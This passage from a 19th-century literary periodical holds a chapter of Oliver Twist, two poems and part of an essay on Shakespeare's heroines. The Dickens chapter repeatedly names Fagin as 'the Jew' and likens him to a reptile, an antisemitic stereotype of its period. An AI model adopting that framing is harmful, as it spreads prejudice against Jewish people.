+The mud lay thick upon the stones, and a black mist hung over the
+streets; the rain fell sluggishly down, and everything felt cold
+and clammy to the touch. It seemed just the night when it befitted
+such a being as the Jew to be abroad. As he glided stealthily along,
+creeping beneath the shelter of the walls and doorways, the hideous old
+man seemed like some loathsome reptile, engendered in the slime and
+darkness through which he moved, crawling forth by night in search of
+some rich offal for a meal.
+
+He kept on his course through many winding and narrow ways until he
+reached Bethnal Green; then, turning suddenly off to the left, he soon
+became involved in a maze of the mean dirty streets which abound in
+that close and densely-populated quarter.
+
+The Jew was evidently too familiar with the ground he traversed,
+however, to be at all bewildered either by the darkness of the night
+or the intricacies of the way. He hurried through several alleys and
+streets, and at length turned into one lighted only by a single lamp at
+the farther end. At the door of a house in this street he knocked, and,
+having exchanged a few muttered words with the person who opened the
+door, walked up stairs.
+
+A dog growled as he touched the handle of a door, and a man's voice
+demanded who was there.
+
+"Only me, Bill; only me, my dear," said the Jew, looking in.
+
+"Bring in your body," said Sikes. "Lie down, you stupid brute! Don't
+you know the devil when he's got a great-coat on?"
+
+Apparently the dog had been somewhat deceived by Mr. Fagin's outer
+garment; for as the Jew unbuttoned it, and threw it over the back of a
+chair, he retired to the corner from which he had risen, wagging his
+tail as he went, to show that he was as well satisfied as it was in his
+nature to be.
+
+"Well!" said Sikes.
+
+"Well, my dear," replied the Jew. "Ah! Nancy."
+
+The latter recognition was uttered with just enough of embarrassment
+to imply a doubt of its reception; for Mr. Fagin and his young friend
+had not met since she had interfered in behalf of Oliver. All doubts
+upon the subject, if he had any, were, however, speedily removed by the
+young lady's behaviour. She took her feet off the fender, pushed back
+her chair, and bade Fagin draw up his without saying any more about it,
+for it was a cold night, and no mistake. Miss Nancy prefixed to the
+word "cold" another adjective, derived from the name of an unpleasant
+instrument of death, which, as the word is seldom mentioned to ears
+polite in any other form than as a substantive, I have omitted in this
+chronicle.
+
+"It is cold, Nancy dear," said the Jew, as he warmed his skinny hands
+over the fire. "It seems to go right through one," added the old man,
+touching his left side.
+
+"It must be a piercer if it finds its way through your heart," said Mr.
+Sikes. "Give him something to drink, Nancy. Burn my body, make haste!
+It's enough to turn a man ill to see his lean old carcase shivering in
+that way, like a ugly ghost just rose from the grave."
+
+Nancy quickly brought a bottle from a cupboard in which there were
+many, which, to judge from the diversity of their appearance, were
+filled with several kinds of liquids; and Sikes, pouring out a glass of
+brandy, bade the Jew drink it off.
+
+"Quite enough, quite, thankye Bill," replied the Jew, putting down the
+glass after just setting his lips to it.
+
+"What! you're afraid of our getting the better of you, are you?"
+inquired Sikes, fixing his eyes on the Jew; "ugh!"
+
+With a hoarse grunt of contempt Mr. Sikes seized the glass and emptied
+it, as a preparatory ceremony to filling it again for himself, which he
+did at once.
+
+The Jew glanced round the room as his companion tossed down the second
+glassful; not in curiosity, for he had seen it often before, but in
+a restless and suspicious manner which was habitual to him. It was a
+meanly furnished apartment, with nothing but the contents of the closet
+to induce the belief that its occupier was anything but a working man;
+and with no more suspicious articles displayed to view than two or
+three heavy bludgeons which stood in a corner, and a "life-preserver"
+that hung over the mantelpiece.
+
+"There," said Sikes, smacking his lips. "Now I'm ready."
+
+"For business--eh?" inquired the Jew.
+
+"For business," replied Sikes; "so say what you've got to say."
+
+"About the crib at Chertsey, Bill?" said the Jew, drawing his chair
+forward, and speaking in a very low voice.
+
+"Yes. What about it?" inquired Sikes.
+
+"Ah! you know what I mean, my dear," said the Jew. "He knows what I
+mean, Nancy; don't he?"
+
+"No, he don't," sneered Mr. Sikes, "or he won't, and that's the same
+thing. Speak out, and call things by their right names; don't sit there
+winking and blinking, and talking to me in hints, as if you warn't the
+very first that thought about the robbery. D---- your eyes! wot d'ye
+mean?"
+
+"Hush, Bill, hush!" said the Jew, who had in vain attempted to stop
+this burst of indignation; "somebody will hear us, my dear; somebody
+will hear us."
+
+"Let 'em hear!" said Sikes; "I don't care." But as Mr. Sikes _did_
+care, upon reflection, he dropped his voice as he said the words, and
+grew calmer.
+
+"There, there," said the Jew coaxingly. "It was only my
+caution--nothing more. Now, my dear, about that crib at Chertsey; when
+is it to be done, Bill, eh?--when is it to be done? Such plate, my
+dears, such plate!" said the Jew, rubbing his hands, and elevating his
+eyebrows in a rapture of anticipation.
+
+"Not at all," replied Sikes coldly.
+
+"Not to be done at all!" echoed the Jew, leaning back in his chair.
+
+"No, not at all," rejoined Sikes; "at least it can't be a put-up job,
+as we expected."
+
+"Then it hasn't been properly gone about," said the Jew, turning pale
+with anger. "Don't tell me!"
+
+"But I will tell you," retorted Sikes. "Who are you that's not to be
+told? I tell you that Toby Crackit has been hanging about the place for
+a fortnight, and he can't get one of the servants into a line."
+
+"Do you mean to tell me, Bill," said the Jew, softening as the other
+grew heated, "that neither of the two men in the house can be got over?"
+
+"Yes, I do mean to tell you so," replied Sikes. "The old lady has had
+'em these twenty year; and, if you were to give 'em five hundred pound,
+they wouldn't be in it."
+
+"But do you mean to say, my dear," remonstrated the Jew, "that the
+women can't be got over?"
+
+"Not a bit of it," replied Sikes.
+
+"Not by flash Toby Crackit?" said the Jew incredulously. "Think what
+women are, Bill."
+
+"No; not even by flash Toby Crackit," replied Sikes. "He says he's worn
+sham whiskers and a canary waistcoat the whole blessed time he's been
+loitering down there, and it's all of no use."
+
+"He should have tried mustachios and a pair of military trousers, my
+dear," said the Jew after a few moments' reflection.
+
+"So he did," rejoined Sikes, "and they warn't of no more use than the
+other plant."
+
+The Jew looked very blank at this information, and, after ruminating
+for some minutes with his chin sunk on his breast, raised his head, and
+said with a deep sigh that, if flash Toby Crackit reported aright, he
+feared the game was up.
+
+"And yet," said the old man, dropping his hands on his knees, "it's a
+sad thing, my dear, to lose so much when we had set our hearts upon it."
+
+"So it is," said Mr. Sikes; "worse luck!"
+
+A long silence ensued, during which the Jew was plunged in deep
+thought, with his face wrinkled into an expression of villany perfectly
+demoniacal. Sikes eyed him furtively from time to time; and Nancy,
+apparently fearful of irritating the housebreaker, sat with her eyes
+fixed upon the fire, as if she had been deaf to all that passed.
+
+"Fagin," said Sikes, abruptly breaking the stillness that prevailed,
+"is it worth fifty shiners extra if it's safely done from the outside?"
+
+"Yes," said the Jew, suddenly rousing himself as if from a trance.
+
+"Is it a bargain?" inquired Sikes.
+
+"Yes, my dear, yes," rejoined the Jew, grasping the other's hand,
+his eyes glistening and every muscle in his face working with the
+excitement that the inquiry had awakened.
+
+"Then," said Sikes, thrusting aside the Jew's hand with some disdain,
+"let it come off as soon as you like. Toby and I were over the
+garden-wall the night afore last, sounding the panels of the doors and
+shutters: the crib's barred up at night like a jail, but there's one
+part we can crack, safe and softly."
+
+"Which is that, Bill?" asked the Jew eagerly.
+
+"Why," whispered Sikes, "as you cross the lawn----"
+
+"Yes, yes," said the Jew, bending his head forward, with his eyes
+almost starting out of it.
+
+"Umph!" cried Sikes, stopping short as the girl, scarcely moving her
+head, looked suddenly round and pointed for an instant to the Jew's
+face. "Never mind which part it is. You can't do it without me, I know;
+but it's best to be on the safe side when one deals with you."
+
+"As you like, my dear, as you like," replied the Jew, biting his lip.
+"Is there no help wanted but yours and Toby's?"
+
+"None," said Sikes, "'cept a centre-bit and a boy; the first we've both
+got; the second you must find us."
+
+"A boy!" exclaimed the Jew. "Oh! then it is a panel, eh?"
+
+"Never mind wot it is!" replied Sikes; "I want a boy, and he mustn't
+be a big un. Lord!" said Mr. Sikes reflectively, "if I'd only got
+that young boy of Ned, the chimbley-sweeper's!--he kept him small on
+purpose, and let him out by the job. But the father gets lagged, and
+then the Juvenile Delinquent Society comes, and takes the boy away from
+a trade where he was arning money, teaches him to read and write, and
+in time makes a 'prentice of him. And so they go on," said Mr. Sikes,
+his wrath rising with the recollection of his wrongs,--"so they go on;
+and, if they'd got money enough, (which it's a Providence they have
+not,) we shouldn't have half-a-dozen boys left in the whole trade in a
+year or two."
+
+"No more we should," acquiesced the Jew, who had been considering
+during this speech, and had only caught the last sentence. "Bill!"
+
+"What now?" inquired Sikes.
+
+The Jew nodded his head towards Nancy, who was still gazing at the
+fire; and intimated by a sign that he would have her told to leave the
+room. Sikes shrugged his shoulders impatiently, as if he thought the
+precaution unnecessary, but complied, nevertheless, by requesting Miss
+Nancy to fetch him a jug of beer.
+
+"You don't want any beer," said Nancy, folding her arms, and retaining
+her seat very composedly.
+
+"I tell you I do!" replied Sikes.
+
+"Nonsense!" rejoined the girl, coolly. "Go on, Fagin. I know what he's
+going to say, Bill; he needn't mind me."
+
+The Jew still hesitated, and Sikes looked from one to the other in some
+surprise.
+
+"Why, you don't mind the old girl, do you, Fagin?" he asked at length.
+"You've known her long enough to trust her, or the devil's in it; she
+ain't one to blab, are you Nancy?"
+
+"_I_ should think not!" replied the young lady, drawing her chair up to
+the table, and putting her elbows upon it.
+
+"No, no, my dear,--I know you're not," said the Jew; "but----" and
+again the old man paused.
+
+"But wot?" inquired Sikes.
+
+"I didn't know whether she mightn't p'raps be out of sorts, you know,
+my dear, as she was the other night," replied the Jew.
+
+At this confession Miss Nancy burst into a loud laugh, and, swallowing
+a glass of brandy, shook her head with an air of defiance, and burst
+into sundry exclamations of "Keep the game a-going!" "Never say die!"
+and the like, which seemed at once to have the effect of re-assuring
+both gentlemen, for the Jew nodded his head with a satisfied air, and
+resumed his seat, as did Mr. Sikes likewise.
+
+"Now, Fagin," said Miss Nancy with a laugh, "tell Bill at once about
+Oliver!"
+
+"Ah! you're a clever one, my dear; the sharpest girl I ever saw!" said
+the Jew, patting her on the neck. "It _was_ about Oliver I was going to
+speak, sure enough. Ha! ha! ha!"
+
+"What about him?" demanded Sikes.
+
+"He's the boy for you, my dear," replied the Jew in a hoarse whisper,
+laying his finger on the side of his nose, and grinning frightfully.
+
+"He!" exclaimed Sikes.
+
+"Have him, Bill!" said Nancy. "I would if I was in your place. He
+mayn't be so much up as any of the others; but that's not what you want
+if he's only to open a door for you. Depend upon it he's a safe one,
+Bill."
+
+"I know he is," rejoined Fagin; "he's been in good training these last
+few weeks, and it's time he began to work for his bread; besides, the
+others are all too big."
+
+"Well, he is just the size I want," said Mr. Sikes, ruminating.
+
+"And will do everything you want, Bill my dear," interposed the Jew;
+"he can't help himself,--that is, if you only frighten him enough."
+
+"Frighten him!" echoed Sikes. "It'll be no sham frightening, mind you.
+If there's anything queer about him when we once get into the work,--in
+for a penny, in for a pound,--you won't see him alive again, Fagin.
+Think of that before you send him. Mark my words!" said the robber,
+shaking a heavy crowbar which he had drawn from under the bedstead.
+
+"I've thought of it all," said the Jew with energy. "I've--I've had
+my eye upon him, my dears, close; close. Once let him feel that he is
+one of us; once fill his mind with the idea that he has been a thief,
+and he's ours,--ours for his life! Oho! It couldn't have come about
+better!" The old man crossed his arms upon his breast, and, drawing his
+head and shoulders into a heap, literally hugged himself for joy.
+
+"Ours!" said Sikes. "Yours, you mean."
+
+"Perhaps I do, my dear," said the Jew with a shrill chuckle. "Mine, if
+you like, Bill."
+
+"And wot," said Sikes, scowling fiercely on his agreeable friend,--"wot
+makes you take so much pains about one chalk-faced kid, when you know
+there are fifty boys snoozing about Common Garden every night, as you
+might pick and choose from?"
+
+"Because they're of no use to me, my dear," replied the Jew with some
+confusion, "not worth the taking; for their looks convict 'em when they
+get into trouble, and I lose 'em all. With this boy properly managed,
+my dears, I could do what I couldn't with twenty of them. Besides,"
+said the Jew, recovering his self-possession, "he has us now if he
+could only give us leg-bail again; and he _must_ be in the same boat
+with us; never mind how he came there, it's quite enough for my power
+over him that he was in a robbery, that's all I want. Now how much
+better this is, than being obliged to put the poor leetle boy out of
+the way, which would be dangerous,--and we should lose by it, besides."
+
+"When is it to be done?" asked Nancy, stopping some turbulent
+exclamation on the part of Mr. Sikes, expressive of the disgust with
+which he received Fagin's affectation of humanity.
+
+"Ah, to be sure," said the Jew, "when is it to be done, Bill?"
+
+"I planned with Toby the night arter to-morrow," rejoined Sikes in a
+surly voice, "if he heard nothing from me to the contrairy."
+
+"Good," said the Jew; "there's no moon."
+
+"No," rejoined Sikes.
+
+"It's all arranged about bringing off the swag,[34] is it?" asked the
+Jew.
+
+Sikes nodded.
+
+"And about----"
+
+"Oh ah, it's all planned," rejoined Sikes, interrupting him; "never
+mind particulars. You'd better bring the boy here to-morrow night; I
+shall get off the stones an hour arter daybreak. Then you hold your
+tongue, and keep the melting-pot ready, and that's all you'll have to
+do."
+
+After some discussion in which all three took an active part, it was
+decided that Nancy should repair to the Jew's next evening, when the
+night had set in, and bring Oliver away with her: Fagin craftily
+observing, that, if he evinced any disinclination to the task, he would
+be more willing to accompany the girl, who had so recently interfered
+in his behalf, than anybody else. It was also solemnly arranged that
+poor Oliver should, for the purposes of the contemplated expedition,
+be unreservedly consigned to the care and custody of Mr. William Sikes;
+and further, that the said Sikes should deal with him as he thought
+fit, and should not be held responsible by the Jew for any mischance or
+evil that might befal the boy, or any punishment with which it might be
+necessary to visit him, it being understood that, to render the compact
+in this respect binding, any representations made by Mr. Sikes on his
+return should be required to be confirmed and corroborated, in all
+important particulars, by the testimony of flash Toby Crackit.
+
+These preliminaries adjusted, Mr. Sikes proceeded to drink brandy at
+a furious rate, and to flourish the crowbar in an alarming manner,
+yelling forth at the same time most unmusical snatches of song mingled
+with wild execrations. At length, in a fit of professional enthusiasm,
+he insisted upon producing his box of housebreaking tools, which he had
+no sooner stumbled in with, and opened for the purpose of explaining
+the nature and properties of the various implements it contained, and
+the peculiar beauties of their construction, than he fell over it upon
+the floor, and went to sleep where he fell.
+
+"Good night, Nancy!" said the Jew, muffling himself up as before.
+
+"Good night!"
+
+Their eyes met, and the Jew scrutinised her narrowly. There was no
+flinching about the girl. She was as true and earnest in the matter as
+Toby Crackit himself could be.
+
+The Jew again bade her good night, and, bestowing a sly kick upon the
+prostrate form of Mr. Sikes while her back was turned, groped down
+stairs.
+
+"Always the way," muttered the Jew to himself as he turned homewards.
+"The worst of these women is, that a very little thing serves to call
+up some long-forgotten feeling; and the best of them is, that it never
+lasts. Ha! ha! The man against the child, for a bag of gold!"
+
+Beguiling the time with these pleasant reflections, Mr. Fagin wended
+his way through mud and mire to his gloomy abode, where the Dodger was
+sitting up, impatiently awaiting his return.
+
+"Is Oliver a-bed? I want to speak to him," was his first remark as they
+descended the stairs.
+
+"Hours ago," replied the Dodger, throwing open a door. "Here he is!"
+
+The boy was lying fast asleep on a rude bed upon the floor, so pale
+with anxiety, and sadness, and the closeness of his prison, that he
+looked like death; not death as it shows in shroud and coffin, but in
+the guise it wears when life has just departed: when a young and gentle
+spirit has but an instant fled to heaven, and the gross air of the
+world has not had time to breathe upon the changing dust it hallowed.
+
+"Not now," said the Jew turning softly away. "To-morrow. To-morrow."
+
+FOOTNOTE:
+
+[Footnote 34: Booty.]
+
+
+
+
+THE LONELY GIRL.
+
+
+    She walk'd alone in the mingled throng,
+      But there were none to greet her;
+    The merry dance and the evening song
+      To her were one day sweeter.
+
+    She was dress'd in the pride of fashion's glare,
+      And diamonds round her glitter'd;
+    But beneath them lay a soul of care,
+      By distant thoughts embitter'd.
+
+    I saw her smile as her gallant pass'd,--
+      'Twas the smile of the broken-hearted;
+    I watch'd her eye as she turn'd away,--
+      The tear to that eye had started.
+
+    For she thought of the times when she led the dance,
+      A stranger to sin and sorrow:
+    She thought of the times when the joys of to-day
+      But sweeten'd the joys of the morrow.
+
+    She thought of the cot and the rustic gown,
+      And the hearts that once adored her;
+    She thought of the parents that bless'd their child,
+      Ere vice and falsehood sold her.
+
+    For Mary was once the pride of the plain,
+      The happiest fair of the fair:
+    The flute and the cymbal welcomed her then,--
+      They were silent unless she was there.
+
+    But now there are none to hear her woes,
+      Or join in her tale of sorrow,--
+    To wipe from her eye the penitent tear,
+      Or chase away thoughts of the morrow.
+
+    Yes, Mary, there's one whose heart beats for thee yet,
+      Who thinks of her child far away,--
+    Who blesses thee still, in the stranger land,
+      Tho' mouldering fast to decay.
+
+    She weeps for thee e'en in the midnight hour,
+      When Care may have lull'd thee to sleep;
+    She prays for her once adored, still beloved child,--
+      She prays, but she turns to weep.
+
+    She prays to the Power that rules the winds
+      That He will ne'er forsake her;
+    She prays the prayer of a parent's grief,
+      That the God who gave may take her.
+
+    Child of sin! to thy parent speed,
+      For she will yet receive thee;
+    Her bosom yet will feel thy pangs,
+      Her cares will yet relieve thee.
+
+    For know that Love can only rest
+      Where Virtue guards the way;
+    The hand of Vice may prune the plant,--
+      Its blossoms soon decay.
+
+
+
+
+THE APPORTIONMENT OF THE WORLD.
+
+FROM SCHILLER.
+
+
+    "Take the world!" from his throne on high, God cried;
+      "'Tis my free gift,--a heritage to man!
+    His attribute for ever. Go! divide;
+      Apportion it like brothers, if you can!"
+
+    Straight at his bidding, forth on either hand
+      Both old and young to take their portion came:
+    The farmer seized the produce of the land;
+      The hunter rush'd upon the forest game;
+
+    The merchant from all climes his wares did bring;
+      The abbot chose the choicest vintages;
+    On taxes and on customs pounced the king;
+      And the priest claim'd the tithe of all as his.
+
+    Last of the throng, from wandering far and wide,
+      The poet sought the Lord with haggard air;
+    For, ah! he wildly gazed on every side,
+      And saw that nought remain'd for him to share.
+
+    "Ah, wo is me! and must I be forgot,
+      The trustiest of your subjects, I, alone?"
+    As thus he bitterly deplored his lot
+      He cast himself before the Almighty's throne.
+
+    "If in a world of reverie and rhyme
+      You ever live," God answer'd, "blame not me.
+    Where hast thou been? how hast thou pass'd thy time?"
+      "I was," replied the poet, "nigh to thee;
+
+    "My eyes have gloated on thy glory's blaze;
+      My ears have drunk the music of the spheres:
+    Forgive! that, dazzled, blinded, by the rays
+      Of heaven, I have for earth nor eyes nor ears."
+
+    "What then remains?" God answered. "All is given;
+      The world apportion'd, nought is left to give;
+    But, if thou wilt abide with me in heaven,
+      Come when thou wilt,--best life for thee to live!"
+
+
+
+
+SHAKSPEARE PAPERS.--No. V.
+
+HIS LADIES.--I. LADY MACBETH.
+
+    "Then gently scan your brother man,
+      More gently sister woman."
+
+        BURNS.
+
+    "Je donne mon avis, non comme bon, mais comme mien."
+
+        MONTAIGNE.
+
+
+The ladies of Shakspeare have of course riveted the attention, and
+drawn to them the sympathies, of all who have read or seen his plays.
+The book-trained critic, weighing words and sentences in his closet;
+the romantic poet, weaving his verses by grove or stream; the polished
+occupant of the private box; the unwashed brawler of the gallery;
+the sedate visitant of the pit, are touched each in his several
+way by the conjugal devotion and melancholy fate of Desdemona, the
+high-souled principle of Isabella, the enthusiastic love and tragic
+end of Juliet, the maternal agonies of Constance, the stern energies
+of Margaret of Anjou, the lofty resignation of Katharine, the wit and
+romance of Rosalind, frolic of tongue, but deeply feeling at heart; the
+accomplished coquetries of Cleopatra, redeemed and almost sanctified
+by her obedient rushing to welcome death at the call ringing in her
+ears from the grave of her self-slain husband; the untiring affection
+of Imogen, Ophelia's stricken heart and maddened brain, or the filial
+constancy of Cordelia. Less deeply marked, but all in their kind
+beautiful, are the innocence of Miranda, the sweetness of Anne Page,
+the meek bearing--beneath the obtrusion of undesired honours--of Anne
+Boleyn, the playful fondness of Jessica;--but I should run through all
+the catalogue of Shakspeare's plays were I to continue the enumeration.
+The task is unnecessary, for they dwell in the hearts of all, of
+every age, and sex, and condition. They nestle in the bosoms of the
+wise and the simple, the sedentary and the active, the moody and
+the merry, the learned and the illiterate, the wit of the club, the
+rustic of the farm, the soldier in camp, the scholar in college; and
+it affords a remarkable criterion of their general effect, that, even
+in those foreign countries which, either from imperfect knowledge,
+defective taste, or national prejudice, set little value on the plays
+of Shakspeare,--while Hamlet, Richard, Macbeth, King John, Lear, and
+Falstaff, are unknown or rejected, the names of Desdemona and Juliet
+are familiar as household words.
+
+No writer ever created so many female characters, or placed them in
+situations of such extreme diversity; and in none do we find so lofty
+an appreciation of female excellence. The stories from which the
+great dramatists of Athens drew their plots were, in most of their
+striking incidents, derogatory to woman. The tale of Troy divine,
+the war of Thebes, the heroic legends, were their favourite, almost
+their exclusive sources; and the crimes, passions, and misfortunes
+of Clytemnestra and Medea, Phædra and Jocasta, could only darken the
+scene. An adulterous spouse aiding in the murder of her long-absent
+lord, the King of men, returning crowned with conquest; a daughter
+participating in the ruthless avenging by death inflicted on a mother
+by a son; an unpitying sorceress killing her children to satiate
+rage against her husband; a faithless wife endeavouring to force her
+shameless love on her step-son, and by false accusation consigning him
+for his refusal to destruction beneath his father's curse; a melancholy
+queen linked in incestuous nuptials to her own offspring;--these ladies
+are the heroines of the most renowned of the Greek tragedies! and the
+consequences of their guilt or misfortune compose the fable of many
+more. In some of the Greek plays, as the Eumenides, we have no female
+characters except the unearthly habitants of heaven or hell; in the
+most wondrous of them all, Prometheus Fettered, appears only the mythic
+Io; in the Persians, only the ghost of Atossa, who scarcely appertains
+to womankind: in some, as Philoctetes, women form no part of the
+_dramatis personæ_; in others, as the Seven against Thebes, they are
+of no importance to the action of the piece; or, as in the Suppliants,
+serve but as the Chorus; and, in many more, are of less than secondary
+importance. Euripides often makes them the objects of those ungallant
+reflections which consign the misogynic dramatist to such summary
+punishment from the irritated sex in the comedies of Aristophanes;
+and in the whole number, in the thirty-three plays extant, there
+are but two women who can affect our nobler or softer emotions. The
+tender and unremitting care of Antigone for her blind, forlorn, and
+aged father, her unbending determination to sacrifice her lover and
+her life sooner than fail in paying funeral honours to her fallen
+brother; and, in Alcestis, her resolute urging that her own life should
+be taken to preserve that of a beloved husband,--invest them with a
+pathetic and heroic beauty. But, in the one, we are haunted by the
+horrid recollections of incest and fratricide; and, in the other, we
+are somewhat indignant that we should be forced to sympathize with an
+affection squandered upon so heartless a fellow as Admetus, who suffers
+his wife to perish in his stead with the most undisturbed conviction of
+the superior value of his own existence, pouring forth all the while
+the most melodious lamentations over her death, but never for a moment
+thinking of coming forward to prevent it. They are beautiful creations,
+nevertheless.
+
+The Greek dramatists were in a great measure bound to a particular
+class of subjects; but, in general, the manner in which an author
+treats the female character, affords one of the main criteria by which
+the various gradations of genius may be estimated. By the highest
+genius woman is always spoken of with a deep feeling of the most
+reverential delicacy. Helen is the cause of the war immortalized by
+the Iliad; but no allusion to her lapse is made throughout the poem
+save by herself, deploring in bitter accents what she has done. She
+wishes that she had died an evil death before she followed Paris; she
+acknowledges herself to be unworthy of the kindred of those whom she
+describes as deserving of honour; her conscience suggests that her
+far-famed brothers, "whom one mother bore," are in the field when the
+warring chieftains meet in truce, but dare not show themselves among
+their peers through shame of the disgrace she has entailed upon them;
+and, at the last, she lays bare her internal feeling that insult is the
+lot she deserves by the warm gratitude with which she acknowledges, in
+her bitter lament over the corpse of Hector, that he had the generosity
+never to address her with upbraiding. The wrath of Achilles is roused
+for the injury inflicted upon him by carrying off Briseis, dear to his
+heart, "spear-captured as she was." She is restored by the penitent
+Agamemnon, with solemn vows that she returns pure and uninsulted. Of
+Andromache I think it unnecessary to speak. In the Odyssey, it is
+true, we have Circe and Calypso; but they are goddesses couching with
+a mortal, and excite no human passion. We meet them in the region of
+"_speciosa miracula_," where Cyclops, and Sirius, and Lotus-eaters
+dwell; where the King of the winds holds his court, and whence is
+the passage to Erebus. In that glorious mixture of adventure and
+allegory,--the Voyage of Ulysses,--we may take those island beauties
+to be the wives and sweethearts whom sailors meet in every port; or,
+following the stream of moralists and commentators, look upon the fable
+to be no more than
+
+      "Truth severe in fairy fiction dressed."
+
+In other parts of the poem we might wish for more warm-heartedness in
+Penelope; but under her circumstances caution is excusable, and she
+must be admitted to be a pattern of constancy and devotion. The Helen
+of the Odyssey is a fine continuation of the Helen of the Iliad. Still
+full of kindly feminine impulses, still sorrowing when she thinks of
+the misfortunes she has occasioned, her griefs have lost the intense
+poignancy with which they afflicted her while leading a life degrading
+her in her own eyes, and exposing her to affronts of which she could
+not complain. Restored to the husband of her early affections,
+consoled by his pardon, and dwelling once more amid the scenes of
+her youth,--absence from which, and absence so occasioned, she had
+never ceased to regret in wasting floods of tears,--the Helen of the
+Odyssey comes before us no longer uttering the accents of ceaseless
+self-reproach, but soothed, if not pacified, in soul. We have the
+_lull_ after the tempest,--the calm following the whirlwind.
+
+Virgil is a great poet indeed, though few will now agree with Scaliger
+that he is equal, far less superior, to Homer. Dido is the blot upon
+the Æneid. The loves of the Carthaginian queen might have made, and
+in the hands of Virgil would have made, a charming poem, treated
+separately,--a poem far superior in execution to the Hero and Leander
+of Musæus, but a work of the same order. As it stands, the episode, if
+it can be so called, utterly ruins the epic character of the hero. St.
+Evremond has said that Æneas had all the qualities of a monk; it is
+plain that he had not the feelings of a gentleman; and we cannot wonder
+that his first wife wandered from his side, and that he met with so
+violent an opposition when he sought another. Virgil, after his conduct
+to Dido, had not the courage to introduce him to Lavinia in person, and
+leaves him undefended to the angry tongue of her mother. The poet was
+justly punished for his fourth book; for, in all those which follow, he
+has not ventured to introduce any female characters but incendiaries,
+sibyls, shrews, and furies.
+
+When Dante took Virgil as his guide in the infernal regions, he did
+not follow his master in dwelling on the pleasures or the gentler
+sorrows of illicit love. His ghostly women appear stern, or subdued
+of port. The lady who is best known to the English reader, Francesca
+di Rimini, forms no exception. Nothing can be more grave and solemn
+than the tale of her hapless passion, as told in the Inferno. It is
+pervaded throughout by such sorrow and remorse as we might expect
+to find in a region whence hope is excluded. Accordingly, how far
+different is its impression from that left on the mind by the same
+story when told merely as a love-tale by Mr. Leigh Hunt. I do not say
+this in disparagement of that picturesque and graphic poem, the Story
+of Rimini, which has been exposed to the most unjustifiable criticism;
+but to mark the manner in which men of talent and men of genius
+handle the same subject. The ladies of Tasso, though not vigorously
+sketched, and in general imitated from the Latin poets,--I speak of
+his Jerusalem,--are conceived in a spirit of romantic chivalry; and,
+even when the witching Armida leads Rinaldo astray, the poet diverts
+our attention from the blandishments of the enchantress to dazzle us by
+the wonders of magic groves and gardens. Poor Tasso, besides, wishes to
+persuade us--perhaps in some moody hours he had persuaded himself--that
+he intended the whole poem for an allegory, in which Armida was to play
+some edifying part,--I forget what. In the poets of romance we do not
+look for the severer style of the epic; but the forest-ranging heroines
+of Ariosto and Spenser, "roaming the woodland, frank and free," have
+an air of self-confiding independence and maiden freshness, worthy of
+the leafy scenes through which they move, that renders it impossible to
+approach them with other thoughts than those of chivalrous deference.
+If Spenser, in his canto of Jealousy, makes the lady of the victim of
+that weak passion treat her husband as he had anticipated, why, she
+errs with no man of mortal mould, but chooses as her mates the jolly
+satyrs wonning in the wood; and Spenser has his allegory too. Ariosto
+took no trouble to make explanations, being satisfied, I suppose, with
+the character given of his poetry by Cardinal Hippolyto; and even he
+has the grace to beg the ladies, to whose service he had from the
+beginning dedicated his lays, to avert their eyes when he is about to
+sing the strange adventures of Giocondo.[35]
+
+The theme of Milton in Paradise Lost, hardly admits of the developement
+of ordinary human feelings; but his sole Eve has grace in all her
+steps, and all her actions too. In Paradise Regained his subject was
+badly chosen; and he feared, from religious motives, to introduce the
+Virgin. In Comus his Lady is a model of icy chastity, worthy of the
+classic verse in which she is embalmed; but Dalilah in Samson Agonistes
+is the more dramatic conception. Ornate and gay, she makes urgent court
+to her angry husband, with no better fate than to be by him inexorably
+repelled. She presses upon him all the topics that could lead to
+reconciliation, but the sense of his wrongs is too acute to allow of
+pardon; and at last she bursts away with the consoling reflection that,
+though spurned by him, and made the object of reproach in Israelitish
+songs, she shall be hymned and honoured in those of her own country as
+a deliverer. Milton was unhappy in his wives and daughters; and his
+domestic manners appear to have been harsh and unamiable. In his prose
+works, his Tetrachordon for example, he does not display any kindly
+feeling for the sex; but when he clothed himself in his singing robes,
+and soared above the cares of every-day life, to expatiate in the purer
+regions of poetry, the soul of the poet softened and sublimed; like
+his own Adam, his sterner nature relented; and, though he could not
+make Samson pardon Dalilah, he will not let her depart unhonoured. In
+Paradise Lost he had spoken of her, disparagingly,--
+
+              "So rose the Danite strong,
+    Herculean Samson, from the harlot lap
+    Of Philistæan Dalilah;"
+
+but when she comes before him, as it were, in bodily presence, he
+leaves all the words of reproach to her irritated lord, and suggests
+to her, topics of self-justification, dismissing her from the stage,
+not as a faithless wife, but as a heroic woman, who had sacrificed her
+affections to her country, and who retires after humiliating herself in
+vain to reap the reward of her patriotic conduct among her people and
+her kindred.
+
+If we turn from the epic and tragic to the other departments of
+literature in which genius can be exercised, we shall find the feeling
+much the same. Those who write from observation of what is going on in
+the world,--the novelist, the comic writer, the satirist,--must take
+the world as it is, and lay it before us in its mixture of good and
+evil. There is no need, however, that the latter should be forcibly
+thrust upon us. The task of the satirists appears to me the lowest in
+which talent can be employed. The most famous among them, Juvenal,
+tells us truly that the _rigidi censura cachinni_--the part chosen by
+Democritus--is easy to any one. We must rise above it, as he has done
+in some of his satires,--as in that sublime poem in which the passage
+occurs, the tenth, or the thirteenth and fourteenth,--and forget the
+wit or the censor to assume the loftier bearing of the moralist. I
+should have wondered that the same mind which produced these noble
+effusions could have perpetrated the enormities of the sixth satire
+and some others, if I did not reflect that Rome, originally an asylum
+for robbers, was nothing more than a standing camp, with the virtues
+and vices, the manners and the feelings of a camp, to the day of its
+downfall. Rape and violence procured its first women, and it would
+seem as if the original act had influenced their feelings to the
+sex throughout. It is certain that theirs is the only literature in
+the world in which no female character is delineated worthy of the
+slightest recollection,--a striking circumstance, and well deserving
+critical investigation; but it would now lead us too far from our
+subject, from which indeed I have delayed too long already. We must
+get back to Shakspeare, staying only to remark that if Boccacio and
+his imitator, Chaucer, have intermingled licentious tales in their
+miscellaneous collection, they have done so, only in compliance with
+the supposed necessity of delineating every species of life, and that
+they hasten to show that they could be of finer spirit when emancipated
+from the thraldom of custom; that Cervantes chequers the comic of
+Don Quixote with visions of graceful and romantic beauty; and that
+such will be found to be the case more or less in every composition
+that takes firm hold of the human mind. I except, of course, works of
+morals, science, and philosophy; and under those heads must come the
+unromantic and unpoetic books of wit, and even buffoonery, if they
+be doomed to last. Rabelais will live for ever to speak vocally to
+the intelligent; but mere licentiousness must perish. Indulgence in
+woman-scorning ribaldry inflicts due punishment upon talent itself, if
